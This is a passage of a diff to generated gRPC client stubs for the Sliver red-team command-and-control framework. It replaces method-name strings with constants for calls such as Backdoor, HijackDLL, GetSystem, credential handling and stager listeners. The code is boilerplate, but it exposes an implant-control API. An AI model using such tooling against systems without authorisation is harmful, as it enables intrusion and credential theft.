"/rpcpb.SliverRPC/RevToSelf" + SliverRPC_GetSystem_FullMethodName = "/rpcpb.SliverRPC/GetSystem" + SliverRPC_Task_FullMethodName = "/rpcpb.SliverRPC/Task" + SliverRPC_Msf_FullMethodName = "/rpcpb.SliverRPC/Msf" + SliverRPC_MsfRemote_FullMethodName = "/rpcpb.SliverRPC/MsfRemote" + SliverRPC_ExecuteAssembly_FullMethodName = "/rpcpb.SliverRPC/ExecuteAssembly" + SliverRPC_Migrate_FullMethodName = "/rpcpb.SliverRPC/Migrate" + SliverRPC_Execute_FullMethodName = "/rpcpb.SliverRPC/Execute" + SliverRPC_ExecuteWindows_FullMethodName = "/rpcpb.SliverRPC/ExecuteWindows" + SliverRPC_Sideload_FullMethodName = "/rpcpb.SliverRPC/Sideload" + SliverRPC_SpawnDll_FullMethodName = "/rpcpb.SliverRPC/SpawnDll" + SliverRPC_Screenshot_FullMethodName = "/rpcpb.SliverRPC/Screenshot" + SliverRPC_CurrentTokenOwner_FullMethodName = "/rpcpb.SliverRPC/CurrentTokenOwner" + SliverRPC_PivotStartListener_FullMethodName = "/rpcpb.SliverRPC/PivotStartListener" + SliverRPC_PivotStopListener_FullMethodName = "/rpcpb.SliverRPC/PivotStopListener" + SliverRPC_PivotSessionListeners_FullMethodName = "/rpcpb.SliverRPC/PivotSessionListeners" + SliverRPC_PivotGraph_FullMethodName = "/rpcpb.SliverRPC/PivotGraph" + SliverRPC_StartService_FullMethodName = "/rpcpb.SliverRPC/StartService" + SliverRPC_StopService_FullMethodName = "/rpcpb.SliverRPC/StopService" + SliverRPC_RemoveService_FullMethodName = "/rpcpb.SliverRPC/RemoveService" + SliverRPC_MakeToken_FullMethodName = "/rpcpb.SliverRPC/MakeToken" + SliverRPC_GetEnv_FullMethodName = "/rpcpb.SliverRPC/GetEnv" + SliverRPC_SetEnv_FullMethodName = "/rpcpb.SliverRPC/SetEnv" + SliverRPC_UnsetEnv_FullMethodName = "/rpcpb.SliverRPC/UnsetEnv" + SliverRPC_Backdoor_FullMethodName = "/rpcpb.SliverRPC/Backdoor" + SliverRPC_RegistryRead_FullMethodName = "/rpcpb.SliverRPC/RegistryRead" + SliverRPC_RegistryWrite_FullMethodName = "/rpcpb.SliverRPC/RegistryWrite" + SliverRPC_RegistryCreateKey_FullMethodName = "/rpcpb.SliverRPC/RegistryCreateKey" + SliverRPC_RegistryDeleteKey_FullMethodName = "/rpcpb.SliverRPC/RegistryDeleteKey" + SliverRPC_RegistryListSubKeys_FullMethodName = "/rpcpb.SliverRPC/RegistryListSubKeys" + SliverRPC_RegistryListValues_FullMethodName = "/rpcpb.SliverRPC/RegistryListValues" + SliverRPC_RunSSHCommand_FullMethodName = "/rpcpb.SliverRPC/RunSSHCommand" + SliverRPC_HijackDLL_FullMethodName = "/rpcpb.SliverRPC/HijackDLL" + SliverRPC_GetPrivs_FullMethodName = "/rpcpb.SliverRPC/GetPrivs" + SliverRPC_StartRportFwdListener_FullMethodName = "/rpcpb.SliverRPC/StartRportFwdListener" + SliverRPC_GetRportFwdListeners_FullMethodName = "/rpcpb.SliverRPC/GetRportFwdListeners" + SliverRPC_StopRportFwdListener_FullMethodName = "/rpcpb.SliverRPC/StopRportFwdListener" + SliverRPC_OpenSession_FullMethodName = "/rpcpb.SliverRPC/OpenSession" + SliverRPC_CloseSession_FullMethodName = "/rpcpb.SliverRPC/CloseSession" + SliverRPC_RegisterExtension_FullMethodName = "/rpcpb.SliverRPC/RegisterExtension" + SliverRPC_CallExtension_FullMethodName = "/rpcpb.SliverRPC/CallExtension" + SliverRPC_ListExtensions_FullMethodName = "/rpcpb.SliverRPC/ListExtensions" + SliverRPC_RegisterWasmExtension_FullMethodName = "/rpcpb.SliverRPC/RegisterWasmExtension" + SliverRPC_ListWasmExtensions_FullMethodName = "/rpcpb.SliverRPC/ListWasmExtensions" + SliverRPC_ExecWasmExtension_FullMethodName = "/rpcpb.SliverRPC/ExecWasmExtension" + SliverRPC_WGStartPortForward_FullMethodName = "/rpcpb.SliverRPC/WGStartPortForward" + SliverRPC_WGStopPortForward_FullMethodName = "/rpcpb.SliverRPC/WGStopPortForward" + SliverRPC_WGStartSocks_FullMethodName = "/rpcpb.SliverRPC/WGStartSocks" + SliverRPC_WGStopSocks_FullMethodName = "/rpcpb.SliverRPC/WGStopSocks" + SliverRPC_WGListForwarders_FullMethodName = "/rpcpb.SliverRPC/WGListForwarders" + SliverRPC_WGListSocksServers_FullMethodName = "/rpcpb.SliverRPC/WGListSocksServers" + SliverRPC_Shell_FullMethodName = "/rpcpb.SliverRPC/Shell" + SliverRPC_Portfwd_FullMethodName = "/rpcpb.SliverRPC/Portfwd" + SliverRPC_CreateSocks_FullMethodName = "/rpcpb.SliverRPC/CreateSocks" + SliverRPC_CloseSocks_FullMethodName = "/rpcpb.SliverRPC/CloseSocks" + SliverRPC_SocksProxy_FullMethodName = "/rpcpb.SliverRPC/SocksProxy" + SliverRPC_CreateTunnel_FullMethodName = "/rpcpb.SliverRPC/CreateTunnel" + SliverRPC_CloseTunnel_FullMethodName = "/rpcpb.SliverRPC/CloseTunnel" + SliverRPC_TunnelData_FullMethodName = "/rpcpb.SliverRPC/TunnelData" + SliverRPC_Events_FullMethodName = "/rpcpb.SliverRPC/Events" +) + // SliverRPCClient is the client API for SliverRPC service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. @@ -29,8 +197,6 @@ type SliverRPCClient interface { GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) // *** Client Logs *** ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) - // *** Operator Commands *** - GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) // *** Generic *** Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) @@ -231,7 +397,7 @@ func NewSliverRPCClient(cc grpc.ClientConnInterface) SliverRPCClient { func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) { out := new(clientpb.Version) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetVersion", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetVersion_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -239,7 +405,7 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op } func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], "/rpcpb.SliverRPC/ClientLog", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...) if err != nil { return nil, err } @@ -272,18 +438,9 @@ func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) { return m, nil } -func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) { - out := new(clientpb.Operators) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetOperators", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Kill", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Kill_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -292,7 +449,7 @@ func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts . func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) { out := new(sliverpb.Reconfigure) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Reconfigure", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Reconfigure_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -301,7 +458,7 @@ func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.Reconfig func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rename", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Rename_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -310,7 +467,7 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) { out := new(clientpb.Sessions) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -319,7 +476,7 @@ func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, o func (c *sliverRPCClient) GetBeacons(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Beacons, error) { out := new(clientpb.Beacons) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeacons", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeacons_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -328,7 +485,7 @@ func (c *sliverRPCClient) GetBeacons(ctx context.Context, in *commonpb.Empty, op func (c *sliverRPCClient) GetBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.Beacon, error) { out := new(clientpb.Beacon) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeacon", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeacon_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -337,7 +494,7 @@ func (c *sliverRPCClient) GetBeacon(ctx context.Context, in *clientpb.Beacon, op func (c *sliverRPCClient) RmBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RmBeacon", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RmBeacon_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -346,7 +503,7 @@ func (c *sliverRPCClient) RmBeacon(ctx context.Context, in *clientpb.Beacon, opt func (c *sliverRPCClient) GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error) { out := new(clientpb.BeaconTasks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeaconTasks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeaconTasks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -355,7 +512,7 @@ func (c *sliverRPCClient) GetBeaconTasks(ctx context.Context, in *clientpb.Beaco func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) { out := new(clientpb.BeaconTask) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeaconTaskContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeaconTaskContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -364,7 +521,7 @@ func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) { out := new(clientpb.BeaconTask) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CancelBeaconTask", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CancelBeaconTask_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -373,7 +530,7 @@ func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.Bea func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error) { out := new(commonpb.Response) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStart", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MonitorStart_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -382,7 +539,7 @@ func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, func (c *sliverRPCClient) MonitorStop(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStop", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MonitorStop_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -391,7 +548,7 @@ func (c *sliverRPCClient) MonitorStop(ctx context.Context, in *commonpb.Empty, o func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error) { out := new(clientpb.Jobs) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetJobs", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetJobs_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -400,7 +557,7 @@ func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) KillJob(ctx context.Context, in *clientpb.KillJobReq, opts ...grpc.CallOption) (*clientpb.KillJob, error) { out := new(clientpb.KillJob) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/KillJob", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_KillJob_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -409,7 +566,7 @@ func (c *sliverRPCClient) KillJob(ctx context.Context, in *clientpb.KillJobReq, func (c *sliverRPCClient) StartMTLSListener(ctx context.Context, in *clientpb.MTLSListenerReq, opts ...grpc.CallOption) (*clientpb.MTLSListener, error) { out := new(clientpb.MTLSListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartMTLSListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartMTLSListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -418,7 +575,7 @@ func (c *sliverRPCClient) StartMTLSListener(ctx context.Context, in *clientpb.MT func (c *sliverRPCClient) StartWGListener(ctx context.Context, in *clientpb.WGListenerReq, opts ...grpc.CallOption) (*clientpb.WGListener, error) { out := new(clientpb.WGListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartWGListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartWGListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -427,7 +584,7 @@ func (c *sliverRPCClient) StartWGListener(ctx context.Context, in *clientpb.WGLi func (c *sliverRPCClient) StartDNSListener(ctx context.Context, in *clientpb.DNSListenerReq, opts ...grpc.CallOption) (*clientpb.DNSListener, error) { out := new(clientpb.DNSListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartDNSListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartDNSListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -436,7 +593,7 @@ func (c *sliverRPCClient) StartDNSListener(ctx context.Context, in *clientpb.DNS func (c *sliverRPCClient) StartHTTPSListener(ctx context.Context, in *clientpb.HTTPListenerReq, opts ...grpc.CallOption) (*clientpb.HTTPListener, error) { out := new(clientpb.HTTPListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPSListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartHTTPSListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -445,7 +602,7 @@ func (c *sliverRPCClient) StartHTTPSListener(ctx context.Context, in *clientpb.H func (c *sliverRPCClient) StartHTTPListener(ctx context.Context, in *clientpb.HTTPListenerReq, opts ...grpc.CallOption) (*clientpb.HTTPListener, error) { out := new(clientpb.HTTPListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartHTTPListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -454,7 +611,7 @@ func (c *sliverRPCClient) StartHTTPListener(ctx context.Context, in *clientpb.HT func (c *sliverRPCClient) StartTCPStagerListener(ctx context.Context, in *clientpb.StagerListenerReq, opts ...grpc.CallOption) (*clientpb.StagerListener, error) { out := new(clientpb.StagerListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartTCPStagerListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartTCPStagerListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -463,7 +620,7 @@ func (c *sliverRPCClient) StartTCPStagerListener(ctx context.Context, in *client func (c *sliverRPCClient) StartHTTPStagerListener(ctx context.Context, in *clientpb.StagerListenerReq, opts ...grpc.CallOption) (*clientpb.StagerListener, error) { out := new(clientpb.StagerListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPStagerListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartHTTPStagerListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -472,7 +629,7 @@ func (c *sliverRPCClient) StartHTTPStagerListener(ctx context.Context, in *clien func (c *sliverRPCClient) LootAdd(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) { out := new(clientpb.Loot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -481,7 +638,7 @@ func (c *sliverRPCClient) LootAdd(ctx context.Context, in *clientpb.Loot, opts . func (c *sliverRPCClient) LootRm(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -490,7 +647,7 @@ func (c *sliverRPCClient) LootRm(ctx context.Context, in *clientpb.Loot, opts .. func (c *sliverRPCClient) LootUpdate(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) { out := new(clientpb.Loot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootUpdate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootUpdate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -499,7 +656,7 @@ func (c *sliverRPCClient) LootUpdate(ctx context.Context, in *clientpb.Loot, opt func (c *sliverRPCClient) LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) { out := new(clientpb.Loot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -508,7 +665,7 @@ func (c *sliverRPCClient) LootContent(ctx context.Context, in *clientpb.Loot, op func (c *sliverRPCClient) LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error) { out := new(clientpb.AllLoot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootAll", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootAll_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -517,7 +674,7 @@ func (c *sliverRPCClient) LootAll(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) Creds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Credentials, error) { out := new(clientpb.Credentials) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Creds", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Creds_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -526,7 +683,7 @@ func (c *sliverRPCClient) Creds(ctx context.Context, in *commonpb.Empty, opts .. func (c *sliverRPCClient) CredsAdd(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -535,7 +692,7 @@ func (c *sliverRPCClient) CredsAdd(ctx context.Context, in *clientpb.Credentials func (c *sliverRPCClient) CredsRm(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -544,7 +701,7 @@ func (c *sliverRPCClient) CredsRm(ctx context.Context, in *clientpb.Credentials, func (c *sliverRPCClient) CredsUpdate(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsUpdate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsUpdate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -553,7 +710,7 @@ func (c *sliverRPCClient) CredsUpdate(ctx context.Context, in *clientpb.Credenti func (c *sliverRPCClient) GetCredByID(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credential, error) { out := new(clientpb.Credential) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCredByID", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetCredByID_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -562,7 +719,7 @@ func (c *sliverRPCClient) GetCredByID(ctx context.Context, in *clientpb.Credenti func (c *sliverRPCClient) GetCredsByHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credentials, error) { out := new(clientpb.Credentials) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCredsByHashType", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetCredsByHashType_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -571,7 +728,7 @@ func (c *sliverRPCClient) GetCredsByHashType(ctx context.Context, in *clientpb.C func (c *sliverRPCClient) GetPlaintextCredsByHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credentials, error) { out := new(clientpb.Credentials) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPlaintextCredsByHashType", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetPlaintextCredsByHashType_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -580,7 +737,7 @@ func (c *sliverRPCClient) GetPlaintextCredsByHashType(ctx context.Context, in *c func (c *sliverRPCClient) CredsSniffHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credential, error) { out := new(clientpb.Credential) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsSniffHashType", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsSniffHashType_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -589,7 +746,7 @@ func (c *sliverRPCClient) CredsSniffHashType(ctx context.Context, in *clientpb.C func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) { out := new(clientpb.AllHosts) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Hosts_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -598,7 +755,7 @@ func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts .. func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) { out := new(clientpb.Host) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Host_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -607,7 +764,7 @@ func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...g func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_HostRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -616,7 +773,7 @@ func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts .. func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_HostIOCRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -625,7 +782,7 @@ func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) { out := new(clientpb.Generate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Generate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -634,7 +791,7 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) { out := new(clientpb.ExternalImplantConfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateExternal_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -643,7 +800,7 @@ func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.Ext func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalSaveBuild", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateExternalSaveBuild_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -652,7 +809,7 @@ func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *cli func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) { out := new(clientpb.ExternalImplantConfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateExternalGetImplantConfig_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -660,7 +817,7 @@ func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, } func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], "/rpcpb.SliverRPC/BuilderRegister", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -693,7 +850,7 @@ func (x *sliverRPCBuilderRegisterClient) Recv() (*clientpb.Event, error) { func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/BuilderTrigger", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_BuilderTrigger_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -702,7 +859,7 @@ func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Builders, error) { out := new(clientpb.Builders) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Builders", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Builders_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -710,7 +867,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts } func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], 